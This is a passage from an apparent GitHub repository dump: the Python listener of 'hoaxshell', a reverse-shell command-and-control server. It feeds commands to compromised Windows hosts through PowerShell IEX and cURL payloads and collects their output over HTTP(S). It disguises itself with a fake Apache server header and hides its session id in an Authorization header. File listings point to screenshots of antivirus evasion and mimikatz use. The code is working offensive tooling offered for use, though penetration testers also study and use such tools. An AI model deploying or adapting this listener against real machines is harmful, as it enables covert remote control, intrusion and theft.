# Enable ansi escape characters 49 | def chill(): 50 | pass 51 | 52 | WINDOWS = True if get_system_type() == 'Windows' else False 53 | system('') if WINDOWS else chill() 54 | 55 | 56 | # -------------- Arguments & Usage -------------- # 57 | parser = argparse.ArgumentParser() 58 | 59 | parser.add_argument("-t", "--type", action="store", help = "Type of payload to expect. use --list-payloads [-l] for more info.") 60 | parser.add_argument("-c", "--certfile", action="store", help = "Path to your ssl certificate.") 61 | parser.add_argument("-k", "--keyfile", action="store", help = "Path to the private key for your certificate.") 62 | parser.add_argument("-p", "--port", action="store", help = "Your hoaxshell server port (default: 8080 over http, 443 over https).", type = int) 63 | parser.add_argument("-H", "--Header", action="store", help = "Hoaxshell utilizes a non-standard header to transfer the session id between requests. The header's name is set to \"Authorization\" by default. Use this option to set a custom header name. Warning: Don't forget to change it in the payload as well.") 64 | parser.add_argument("-v", "--server-version", action="store", help = "Provide a value for the \"Server\" response header (default: Apache/2.4.1)") 65 | parser.add_argument("-q", "--quiet", action="store_true", help = "Do not print the banner on startup.") 66 | parser.add_argument("-l", "--list-payloads", action="store_true", help = "List supported payload types.") 67 | 68 | args = parser.parse_args() 69 | 70 | 71 | def exit_with_msg(msg): 72 | print(f"[{DEBUG}] {msg}") 73 | sys.exit(0) 74 | 75 | 76 | if args.list_payloads: 77 | print(''' 78 | Supported values for --type [-t]: 79 | 80 | Payload Type Details 81 | ------------ ------- 82 | cmd-curl : Windows CMD payload that utilizes cURL. 83 | ps-iex : PowerShell payload that utilizes IEX. 84 | ps-outfile : PowerShell payload that writes on disc. 85 | ps-iex-cm : PowerShell IEX payload that works on Constraint Mode. 86 | ps-outfile-cm : PowerShell OUTFILE payload that works on Constraint Mode 87 | 88 | *By using payloads that work on Constraint Language Mode you sacrifice 89 | a bit of your shell's output encoding accuracy. 90 | 91 | ''' 92 | ) 93 | 94 | # Check if payload type was declared. 95 | if not args.type: 96 | exit_with_msg('Type [-t] is required to start the listener.') 97 | 98 | elif args.type not in ['cmd-curl', 'ps-iex', 'ps-outfile', 'ps-iex-cm', 'ps-outfile-cm']: 99 | exit_with_msg('Unsupported or invalid payload type [-t].') 100 | 101 | else: 102 | payload_type = args.type.lower().strip() 103 | constraint_mode = True if payload_type in ['cmd-curl', 'ps-iex-cm', 'ps-outfile-cm'] else False 104 | delimiter = str(uuid.uuid4())[0:8] 105 | grab_prompt_dir_cmd = f"(echo {delimiter} & cd)" if payload_type in ['cmd-curl'] else "echo `r;pwd" 106 | 107 | # Check if port is valid. 108 | if args.port: 109 | if args.port < 1 or args.port > 65535: 110 | exit_with_msg('Port number is not valid.') 111 | 112 | 113 | # Check if both cert and key files were provided 114 | if (args.certfile and not args.keyfile) or (args.keyfile and not args.certfile): 115 | exit_with_msg('Failed to start over https. Missing key or cert file (check -h for more details).') 116 | 117 | ssl_support = True if args.certfile and args.keyfile else False 118 | 119 | # -------------- General Functions -------------- # 120 | def print_banner(): 121 | 122 | padding = ' ' 123 | 124 | H = [[' ', '┐', ' ', '┌'], [' ', '├','╫','┤'], [' ', '┘',' ','└']] 125 | O = [[' ', '┌','─','┐'], [' ', '│',' ','│'], [' ', '└','─','┘']] 126 | A = [[' ', '┌','─','┐'], [' ', '├','─','┤'], [' ', '┴',' ','┴']] 127 | X = [[' ', '─','┐',' ','┬'], [' ', '┌','┴','┬', '┘'], [' ', '┴',' ','└','─']] 128 | S = [[' ', '┌','─','┐'], [' ', '└','─','┐'], [' ', '└','─','┘']] 129 | H = [[' ', '┬',' ','┬'], [' ', '├','─','┤'], [' ', '┴',' ','┴']] 130 | E = [[' ', '┌','─','┐'], [' ', '├','┤',' '], [' ', '└','─','┘']] 131 | L = [[' ', '┬',' ',' '], [' ', '│',' ', ' '], [' ', '┴','─','┘']] 132 | 133 | banner = [H,O,A,X,S,H,E,L,L] 134 | final = [] 135 | print('\r') 136 | init_color = 36 137 | txt_color = init_color 138 | cl = 0 139 | 140 | for charset in range(0, 3): 141 | for pos in range(0, len(banner)): 142 | for i in range(0, len(banner[pos][charset])): 143 | clr = f'\033[38;5;{txt_color}m' 144 | char = f'{clr}{banner[pos][charset][i]}' 145 | final.append(char) 146 | cl += 1 147 | txt_color = txt_color + 36 if cl <= 3 else txt_color 148 | 149 | cl = 0 150 | 151 | txt_color = init_color 152 | init_color += 31 153 | 154 | if charset < 2: final.append('\n ') 155 | 156 | print(f" {''.join(final)}") 157 | print(f'{END}{padding} by t3l3machus\n') 158 | 159 | 160 | 161 | def is_valid_uuid(value): 162 | 163 | try: 164 | uuid.UUID(str(value)) 165 | return True 166 | 167 | except ValueError: 168 | return False 169 | 170 | 171 | 172 | def checkPulse(stop_event): 173 | 174 | while not stop_event.is_set(): 175 | 176 | timestamp = int(datetime.now().timestamp()) 177 | tlimit = frequency + 7 178 | 179 | if Hoaxshell.execution_verified and Hoaxshell.prompt_ready: 180 | if abs(Hoaxshell.last_received - timestamp) > tlimit: 181 | print(f'\r[{WARN}] Session has been idle for more than {tlimit} seconds. Shell probably died.') 182 | Hoaxshell.prompt_ready = True 183 | stop_event.set() 184 | 185 | else: 186 | Hoaxshell.last_received = timestamp 187 | 188 | sleep(5) 189 | 190 | 191 | # ------------------ Settings ------------------ # 192 | prompt = "" 193 | quiet = True if args.quiet else False 194 | stop_event = Event() 195 | frequency = 0.8 196 | 197 | def rst_prompt(force_rst = False, prompt = prompt, prefix = '\r'): 198 | 199 | if Hoaxshell.rst_promt_required or force_rst: 200 | sys.stdout.write(prefix + prompt + global_readline.get_line_buffer()) 201 | Hoaxshell.rst_promt_required = False 202 | 203 | 204 | 205 | class Session_Defender: 206 | 207 | is_active = True 208 | windows_dangerous_commands = ["powershell.exe", "powershell", "cmd.exe", "cmd", "curl", "wget", "telnet"] 209 | interpreters = ['python', 'python3', 'php', 'ruby', 'irb', 'perl', 'jshell', 'node', 'ghci'] 210 | 211 | @staticmethod 212 | def inspect_command(os, cmd): 213 | 214 | # Check if command includes unclosed single/double quotes or backticks OR id ends with backslash 215 | if Session_Defender.has_unclosed_quotes_or_backticks(cmd): 216 | return True 217 | 218 | cmd = cmd.strip().lower() 219 | 220 | # Check for common commands and binaries that start interactive sessions within shells OR prompt the user for input 221 | if cmd in (Session_Defender.windows_dangerous_commands + Session_Defender.interpreters): 222 | return True 223 | 224 | return False 225 | 226 | 227 | @staticmethod 228 | def has_unclosed_quotes_or_backticks(cmd): 229 | 230 | stack = [] 231 | 232 | for i, c in enumerate(cmd): 233 | if c in ["'", '"', "`"]: 234 | if not stack or stack[-1] != c: 235 | stack.append(c) 236 | else: 237 | stack.pop() 238 | elif c == "\\" and i < len(cmd) - 1: 239 | i += 1 240 | 241 | return len(stack) > 0 242 | 243 | 244 | @staticmethod 245 | def ends_with_backslash(cmd): 246 | return True if cmd.endswith('\\') else False 247 | 248 | 249 | @staticmethod 250 | def print_warning(): 251 | print(f'[{WARN}] Dangerous input detected. This command may break the shell session. If you want to execute it anyway, disable the Session Defender by running "cmdinspector".') 252 | rst_prompt(prompt = prompt) 253 | 254 | 255 | 256 | # -------------- HoaxShell Server -------------- # 257 | class Hoaxshell(BaseHTTPRequestHandler): 258 | 259 | session_established = False 260 | rst_promt_required = False 261 | prompt_ready = False 262 | command_pool = [] 263 | execution_verified = False 264 | last_received = '' 265 | header_id = 'Authorization' if not args.Header else args.Header 266 | server_version = 'Apache/2.4.1' if not args.server_version else args.server_version 267 | init_dir = None 268 | 269 | 270 | def cmd_output_interpreter(self, output, constraint_mode = False): 271 | 272 | global prompt 273 | 274 | try: 275 | 276 | if constraint_mode: 277 | output = output.decode('utf-8', 'ignore').strip() 278 | 279 | else: 280 | bin_output = output.decode('utf-8').split(' ') 281 | 282 | try: 283 | to_b_numbers = [ int(n) for n in bin_output ] 284 | b_array = bytearray(to_b_numbers) 285 | output = b_array.decode('utf-8', 'ignore') 286 | 287 | except ValueError: 288 | output = '' 289 | 290 | 291 | if payload_type == 'cmd-curl': 292 | 293 | tmp = output.rsplit(delimiter, 1) 294 | output = '\n'.join(tmp[0].split('\n')[1:]) 295 | p = '\n' + tmp[1].strip() 296 | 297 | if Hoaxshell.init_dir == None: 298 | Hoaxshell.init_dir = p 299 | 300 | prompt = f"{p}> " 301 | 302 | 303 | elif payload_type in ['ps-iex', 'ps-outfile', 'ps-iex-cm', 'ps-outfile-cm']: 304 | 305 | tmp = output.rsplit("Path", 1) 306 | output = tmp[0] 307 | junk = True if re.search("Provider : Microsoft.PowerShell.Core", output) else False 308 | output = output.rsplit("Drive", 1)[0] if junk else output 309 | 310 | if Hoaxshell.init_dir == None: 311 | p = tmp[-1].strip().rsplit("\n")[-1] 312 | p = p.replace(":", "", 1).strip() if p.count(":") > 1 else p 313 | Hoaxshell.init_dir = p 314 | 315 | if payload_type not in ['ps-outfile', 'ps-outfile-cm']: 316 | p = tmp[-1].strip().rsplit("\n")[-1] 317 | p = p.replace(":", "", 1).strip() if p.count(":") > 1 else p 318 | 319 | else: 320 | p = Hoaxshell.init_dir 321 | 322 | prompt = f"\nPS {p}> " 323 | 324 | except UnicodeDecodeError: 325 | print(f'[{WARN}] Decoding data to UTF-8 failed. Printing raw data.') 326 | 327 | if isinstance(output, bytes): 328 | return str(output) 329 | 330 | else: 331 | output = output.strip() + '\r' if output.strip() != '' else output.strip() 332 | return output 333 | 334 | 335 | 336 | def do_GET(self): 337 | 338 | timestamp = int(datetime.now().timestamp()) 339 | Hoaxshell.last_received = timestamp 340 | 341 | if not Hoaxshell.session_established: 342 | Hoaxshell.header_id = 'Authorization' if not args.Header else args.Header 343 | session_id = self.headers.get(Hoaxshell.header_id) 344 | 345 | if len(session_id) == 26: 346 | h = session_id.split('-') 347 | Hoaxshell.verify = h[0] 348 | Hoaxshell.get_cmd = h[1] 349 | Hoaxshell.post_res = h[2] 350 | Hoaxshell.SESSIONID = session_id 351 | Hoaxshell.session_established = True 352 | Hoaxshell.execution_verified = True 353 | session_check = Thread(target = checkPulse, args = (stop_event,)) 354 | session_check.daemon = True 355 | session_check.start() 356 | 357 | print(f'\r[{GREEN}Shell{END}] Session established!') 358 | 359 | self.server_version = Hoaxshell.server_version 360 | self.sys_version = "" 361 | session_id = self.headers.get(Hoaxshell.header_id) 362 | legit = True if session_id == Hoaxshell.SESSIONID else False 363 | 364 | # Verify execution 365 | if self.path == f'/{Hoaxshell.verify}' and legit: 366 | 367 | self.send_response(200) 368 | self.send_header('Content-type', 'text/javascript; charset=UTF-8') 369 | self.send_header('Access-Control-Allow-Origin', '*') 370 | self.end_headers() 371 | self.wfile.write(bytes('OK', "utf-8")) 372 | Hoaxshell.execution_verified = True 373 | session_check = Thread(target = checkPulse, args = (stop_event,)) 374 | session_check.daemon = True 375 | session_check.start() 376 | print(f'[{GREEN}Shell{END}] Stabilizing command prompt...\n') 377 | Hoaxshell.command_pool.append(grab_prompt_dir_cmd) 378 | 379 | 380 | # Grab cmd 381 | elif self.path == f'/{Hoaxshell.get_cmd}' and legit and Hoaxshell.execution_verified: 382 | 383 | self.send_response(200) 384 | self.send_header('Content-type', 'text/javascript; charset=UTF-8') 385 | self.send_header('Access-Control-Allow-Origin', '*') 386 | self.end_headers() 387 | 388 | if len(Hoaxshell.command_pool): 389 | cmd = Hoaxshell.command_pool.pop(0) 390 | self.wfile.write(bytes(cmd, "utf-8")) 391 | 392 | else: 393 | self.wfile.write(bytes('None', "utf-8")) 394 | 395 | Hoaxshell.last_received = timestamp 396 | 397 | 398 | else: 399 | self.send_response(200) 400 | self.end_headers() 401 | self.wfile.write(b'Move on mate.') 402 | pass 403 | 404 | 405 | 406 | def do_POST(self): 407 | 408 | try: 409 | 410 | global prompt 411 | timestamp = int(datetime.now().timestamp()) 412 | Hoaxshell.last_received = timestamp 413 | self.server_version = Hoaxshell.server_version 414 | self.sys_version = "" 415 | session_id = self.headers.get(Hoaxshell.header_id) 416 | legit = True if session_id == Hoaxshell.SESSIONID else False 417 | 418 | # cmd output 419 | if self.path == f'/{Hoaxshell.post_res}' and legit and Hoaxshell.execution_verified: 420 | 421 | try: 422 | self.send_response(200) 423 | self.send_header('Access-Control-Allow-Origin', '*') 424 | self.send_header('Content-Type', 'text/plain') 425 | self.end_headers() 426 | self.wfile.write(b'OK') 427 | content_len = int(self.headers.get('Content-Length')) 428 | output = self.rfile.read(content_len) 429 | output = Hoaxshell.cmd_output_interpreter(self, output, constraint_mode = constraint_mode) 430 | 431 | if output: 432 | print(f'\r{GREEN}{output}{END}') 433 | 434 | 435 | except ConnectionResetError: 436 | print(f'[{FAILED}] There was an error reading the response, most likely because of the size (Content-Length: {self.headers.get("Content-Length")}). Try redirecting the command\'s output to a file and transfering it to your machine.') 437 | 438 | rst_prompt(prompt = prompt) 439 | Hoaxshell.prompt_ready = True 440 | 441 | else: 442 | self.send_response(200) 443 | self.end_headers() 444 | self.wfile.write(b'Move on mate.') 445 | pass 446 | 447 | except AttributeError: 448 | print(f'[{INFO}] Received request to output data, most likely from a previously poisoned machine that is still running the payload.') 449 | 450 | 451 | def do_OPTIONS(self): 452 | 453 | self.server_version = Hoaxshell.server_version 454 | self.sys_version = "" 455 | self.send_response(200) 456 | self.send_header('Access-Control-Allow-Origin', self.headers["Origin"]) 457 | self.send_header('Vary', "Origin") 458 | self.send_header('Access-Control-Allow-Credentials', 'true') 459 | self.send_header('Access-Control-Allow-Headers', Hoaxshell.header_id) 460 | self.end_headers() 461 | self.wfile.write(b'OK') 462 | 463 | 464 | def log_message(self, format, *args): 465 | return 466 | 467 | 468 | def dropSession(): 469 | 470 | print(f'\r[{WARN}] Closing session elegantly...') 471 | Hoaxshell.command_pool.append('exit') 472 | sleep(frequency + 2.0) 473 | print(f'[{WARN}] Session terminated.') 474 | stop_event.set() 475 | sys.exit(0) 476 | 477 | 478 | def terminate(): 479 | 480 | if Hoaxshell.execution_verified: 481 | Hoaxshell.dropSession() 482 | 483 | else: 484 | print(f'\r[{WARN}] Session terminated.') 485 | stop_event.set() 486 | sys.exit(0) 487 | 488 | 489 | 490 | def main(): 491 | 492 | try: 493 | chill() if quiet else print_banner() 494 | 495 | # Check provided header name for illegal chars 496 | if args.Header: 497 | valid = ascii_uppercase + ascii_lowercase + '-_' 498 | 499 | for char in args.Header: 500 | if char not in valid: 501 | exit_with_msg('Header name includes illegal characters.') 502 | 503 | 504 | # Check if http/https 505 | if ssl_support: 506 | server_port = int(args.port) if args.port else 443 507 | else: 508 | server_port = int(args.port) if args.port else 8080 509 | 510 | 511 | # Start http server 512 | try: 513 | httpd = HTTPServer(('0.0.0.0', server_port), Hoaxshell) 514 | 515 | except OSError: 516 | exit(f'\n[{FAILED}] Port {server_port} seems to already be in use.\n') 517 | 518 | if ssl_support: 519 | try: 520 | context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) 521 | context.load_cert_chain(certfile = args.certfile, keyfile = args.keyfile) 522 | httpd.socket = context.wrap_socket(sock = httpd.socket, server_side= True) 523 | except FileNotFoundError: 524 | exit_with_msg('Certificate / Key file not found. Check your input and try again.') 525 | 526 | port = f':{server_port}' if server_port != 443 else '' 527 | 528 | Hoaxshell_server = Thread(target = httpd.serve_forever, args = ()) 529 | Hoaxshell_server.daemon = True 530 | Hoaxshell_server.start() 531 | 532 | print(f'[{INFO}] Https listener started on port {server_port}.') if ssl_support else print(f'[{INFO}] Http listener started on port {server_port}.') 533 | print(f'\r[{INFO}] You can\'t change directory with the "ps-outfile" payload type. Your commands must include absolute paths to files, etc.') if payload_type in ['ps-outfile', 'ps-outfile-cm'] else chill() 534 | print(f'[{IMPORTANT}] Awaiting payload execution to initiate shell session...') 535 | 536 | # Command prompt 537 | while True: 538 | 539 | if Hoaxshell.prompt_ready: 540 | 541 | user_input = input(prompt).strip() 542 | user_input_lower = user_input.lower() 543 | 544 | if user_input_lower in ['clear']: 545 | system('clear') 546 | 547 | elif user_input_lower in ['exit', 'quit', 'q']: 548 | Hoaxshell.terminate() 549 | 550 | elif user_input == '': 551 | rst_prompt(force_rst = True, prompt = '\r') 552 | 553 | elif user_input_lower == 'cmdinspector': 554 | Session_Defender.is_active = not Session_Defender.is_active 555 | print(f'Session Defender is turned {"off" if not Session_Defender.is_active else "on"}.') 556 | 557 | else: 558 | 559 | if Hoaxshell.execution_verified and not Hoaxshell.command_pool: 560 | 561 | # Invoke Session Defender to inspect the command for dangerous input 562 | dangerous_input_detected = False 563 | 564 | if Session_Defender.is_active: 565 | dangerous_input_detected = Session_Defender.inspect_command(None, user_input) 566 | 567 | if dangerous_input_detected: 568 | Session_Defender.print_warning() 569 | continue 570 | 571 | if user_input == "pwd" and payload_type not in ['cmd-curl']: 572 | user_input = "split-path $pwd'\\0x00'" 573 | 574 | full_command = f"({user_input} & echo {delimiter} & cd)" if payload_type in ['cmd-curl'] else user_input + ";pwd" 575 | Hoaxshell.command_pool.append(full_command) 576 | Hoaxshell.prompt_ready = False 577 | 578 | elif Hoaxshell.execution_verified and Hoaxshell.command_pool: 579 | pass 580 | 581 | else: 582 | sleep(0.2) 583 | 584 | 585 | except KeyboardInterrupt: 586 | Hoaxshell.terminate() 587 | 588 | 589 | main() 590 | -------------------------------------------------------------------------------- /revshells/requirements.txt: -------------------------------------------------------------------------------- 1 | gnureadline==8.1.2 2 | ipython==8.10.0 3 | -------------------------------------------------------------------------------- /screenshots/Bit Defender/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/t3l3machus/hoaxshell/e1bba898e7a7c44470122c2386f3254060478e5a/screenshots/Bit Defender/image.png -------------------------------------------------------------------------------- /screenshots/Bit Defender/image2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/t3l3machus/hoaxshell/e1bba898e7a7c44470122c2386f3254060478e5a/screenshots/Bit Defender/image2.png -------------------------------------------------------------------------------- /screenshots/Bit Defender/image3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/t3l3machus/hoaxshell/e1bba898e7a7c44470122c2386f3254060478e5a/screenshots/Bit Defender/image3.png -------------------------------------------------------------------------------- /screenshots/Bit Defender/image4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/t3l3machus/hoaxshell/e1bba898e7a7c44470122c2386f3254060478e5a/screenshots/Bit Defender/image4.png -------------------------------------------------------------------------------- /screenshots/Bit Defender/image5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/t3l3machus/hoaxshell/e1bba898e7a7c44470122c2386f3254060478e5a/screenshots/Bit Defender/image5.png -------------------------------------------------------------------------------- /screenshots/Bit Defender/image6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/t3l3machus/hoaxshell/e1bba898e7a7c44470122c2386f3254060478e5a/screenshots/Bit Defender/image6.png -------------------------------------------------------------------------------- /screenshots/hoaxshell-win10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/t3l3machus/hoaxshell/e1bba898e7a7c44470122c2386f3254060478e5a/screenshots/hoaxshell-win10.png -------------------------------------------------------------------------------- /screenshots/hoaxshell-win11-v2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/t3l3machus/hoaxshell/e1bba898e7a7c44470122c2386f3254060478e5a/screenshots/hoaxshell-win11-v2.png -------------------------------------------------------------------------------- /screenshots/hoaxshell-win11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/t3l3machus/hoaxshell/e1bba898e7a7c44470122c2386f3254060478e5a/screenshots/hoaxshell-win11.png -------------------------------------------------------------------------------- /screenshots/mimikatz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/t3l3machus/hoaxshell/e1bba898e7a7c44470122c2386f3254060478e5a/screenshots/mimikatz.png --------------------------------------------------------------------------------